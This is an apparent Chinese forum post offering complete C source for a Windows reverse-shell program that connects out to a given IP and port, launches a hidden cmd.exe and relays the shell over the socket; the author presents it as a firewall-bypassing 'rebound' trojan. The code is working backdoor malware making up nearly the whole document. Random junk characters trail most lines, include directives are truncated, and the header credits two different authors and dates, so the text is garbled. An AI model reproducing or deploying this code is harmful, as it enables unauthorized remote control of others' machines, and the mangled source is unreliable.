这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 z3l(4W P
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/* ============================== MQvk&
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Rebound port in Windows NT !5zDnv
By wind,2006/7 F*rsi7#!pG
===============================*/ -}$mv
#include 5eJMu=UpR
#include 09L"~:rg
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#pragma comment(lib,"wsock32.lib") {sb2r%U!+
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void OutputShell(); 7x5wT ?2W
SOCKET sClient; 6#za\[
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; yHNx,ra
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void main(int argc,char **argv) o`+$h:zm@
{ H{CiN
WSADATA stWsaData; aRE%(-5
int nRet; Is1(]^EE*
SOCKADDR_IN stSaiClient,stSaiServer; tS:/:0HnA)
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if(argc != 3) Cyu= c1D ;
{ EPu-oE=HW4
printf("Useage:\n\rRebound DestIP DestPort\n"); y 13Y,cz~B
return; 5[5|_H+0
} v_L2>Pa.
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WSAStartup(MAKEWORD(2,2),&stWsaData); Uuq*;L
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); kX)QHNzP
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stSaiClient.sin_family = AF_INET; _6!@>`u~
stSaiClient.sin_port = htons(0); &$L6*+`h#
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); N3$%!\~O
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Y7_2pGvZ
{ Z;M th#
printf("Bind Socket Failed!\n"); c]]e(
return; Yx3ivjX.>
} (T 8In
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stSaiServer.sin_family = AF_INET; 7GG:1:2+>
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); >O$JS,
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); y)*W!]:7^>
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) &w'1
{ e gdbv
printf("Connect Error!"); |9Pi*)E
return; ;6AanwR6
} \S]` { kY,
OutputShell(); Fz.Ij'8.H
} Da-U@e!
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void OutputShell() R8bKE(*rxj
{ 0i3Z7l]
char szBuff[1024]; Gr8%%]1!0
SECURITY_ATTRIBUTES stSecurityAttributes; ,`,1s9\&t
OSVERSIONINFO stOsversionInfo; NE5H\
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; U
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STARTUPINFO stStartupInfo; "[
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char *szShell; cJLAP%.L
PROCESS_INFORMATION stProcessInformation; =Vat2'>+
unsigned long lBytesRead; /mG-g%gE
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Y?#aUQc
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Ou7nk:I@
stSecurityAttributes.lpSecurityDescriptor = 0; J?"v;.K|hU
stSecurityAttributes.bInheritHandle = TRUE; X+[h]A
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Jt(RF*i
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); S8k<}5
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 31&;3?3>
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
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stStartupInfo.wShowWindow = SW_HIDE; )K!!Zq3;|
stStartupInfo.hStdInput = hReadPipe; w\lc;4U
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; \N[2-;[3
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GetVersionEx(&stOsversionInfo); Uu[dx}y
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switch(stOsversionInfo.dwPlatformId) >UnLq:G
{ ]O&\P n0q
case 1: 3Pgld*i7
szShell = "command.com"; Z9q1z~qSQ
break; ac%x\e$
default: eZ8DW6 l*
szShell = "cmd.exe"; ^TEFKx}PX
break; szUJh9-
} I3;03X<2
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); p`)Mk<`dYD
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send(sClient,szMsg,77,0); #`@5`;U>#
while(1) 5;@2SY7,
{ ]ONBr(M\
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); F60?%gg
if(lBytesRead) C;0VR
{ kgP6'`}E[
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); U8OVn(qV
send(sClient,szBuff,lBytesRead,0); $CDRIn50
} nhy:5eSK
else #H;1)G(/
{ q}gM2Ia'vY
lBytesRead=recv(sClient,szBuff,1024,0); L~("C
if(lBytesRead<=0) break; M'nzoRk
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); %$'Z"njO&
} d+p^fBz
} :%<'('S|
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return; c)Ne/E{!0
}